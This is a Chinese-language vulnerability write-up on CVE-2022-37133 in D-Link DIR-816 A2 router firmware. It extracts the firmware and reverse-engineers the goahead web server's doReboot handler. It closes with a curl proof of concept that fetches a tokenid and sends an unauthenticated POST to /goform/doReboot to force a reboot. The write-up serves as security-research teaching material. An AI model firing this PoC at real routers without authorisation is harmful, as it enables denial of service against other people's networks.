D-Link CVE-2022-37133

D-Link CVE-2022-37133

文章首发于IOTsec-Zone

前言

此漏洞为笔者在分析D-Link DIR-816 A2_v1.10CNB04时所发现的,非常适合拿来入门学习路由器漏洞。这个文章笔者只写此漏洞的分析和利用(如有错误 欢迎指正),这个固件还有其他的一些漏洞(命令注入,堆栈溢出)

漏洞文件提取

从官网将固件下载下来

将固件下载下来之后需要提取里面的文件系统,笔者采用的是在线提取,链接:https://zhiwanyuzhou.com/multiple_analyse/firmware/

选择文件上传,将固件上传等待上传进度

分析完成之后点击解包所有文件下载即可将文件系统下载

然后用tar解包就可以看到如下东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
22:00:25 z1r0@z1r0deMacBook-Pro.local squashfs-root ls -l
total 0
drwxr-xr-x@ 63 z1r0 staff 2016 3 7 2017 bin
drwxr-xr-x@ 3 z1r0 staff 96 3 7 2017 dev
drwxr-xr-x@ 3 z1r0 staff 96 3 7 2017 etc
drwxr-xr-x@ 15 z1r0 staff 480 3 7 2017 etc_ro
drwxr-xr-x@ 3 z1r0 staff 96 3 2 2017 home
lrwxr-xr-x@ 1 z1r0 staff 11 3 7 2017 init -> bin/busybox
drwxr-xr-x@ 44 z1r0 staff 1408 3 7 2017 lib
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 media
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 mnt
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 proc
drwxr-xr-x@ 71 z1r0 staff 2272 3 7 2017 sbin
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 sys
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 tmp
drwxr-xr-x@ 5 z1r0 staff 160 3 2 2017 usr
drwxr-xr-x@ 2 z1r0 staff 64 3 2 2017 var

逆向分析漏洞点

漏洞出现在goahead中,goahead 自身实现了一个 web 服务器所需提供的基本功能,用户可以根据自身接口开发出各种各样的功能。

1
2
22:02:14 z1r0@z1r0deMacBook-Pro.local squashfs-root find . -name goahead                                                                                                                                    
./bin/goahead

将goahead丢入ida,对doReboot这个功能进行分析,在ida中搜索sleep 3 && reboot &然后跟进第三个即可。

websWrite是回显函数,可以看到最后会无条件执行system("sleep 3 && reboot &");

漏洞利用

查看doReboot的交叉引用可知在formDefineUtilities这个函数中被引用了,而formDefineUtilities被main函数引用了

当监听到url中请求了/goform时,例如:http://192.168.0.1/goform/doReboot则使用websFormHandler先进行理,再到doReboot用户自定义的的函数中进行处理。websFormHandler的函数处理如下

1
2
int websFormHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
char_t *url, char_t *path, char_t *query)

其中wp里面包含了用户请求的相关信息,如请求头, 请求数据等。开发者通过 wp 这个参数就能获取到用户请求的信息。

在主页登陆抓一个包可以看到是POST /goform/formLogin请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /goform/formLogin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/dir_login.asp
Cookie: curShow=
Upgrade-Insecure-Requests: 1

username=QWRtaW4%3D&password=&Language=Chinese&submit.htm%3Flogin.htm=Send&tokenid=1714636915

想要触发doReboot,可以模仿抓包的内容,最后的tokenid是必不可少的,可以使用curl http://192.168.0.1/dir_login.asp | grep tokenid来获取tokenid

所以触发doReboot可以使用如下poc,xxxx为获取到的tokenid

curl -i -X POST http://192.168.0.1/goform/doReboot -d tokenid=xxxx

稍等3秒就可以看到路由器重启

小结

此漏洞可做路由器漏洞入门学习,笔者使用的实体路由器(不知道这个固件进行模拟的时候需不需要patch一些东西),后续有时间会写此路由器的其他漏洞(可达成getshell的)的一些利用

文章来自IOTsec-Zone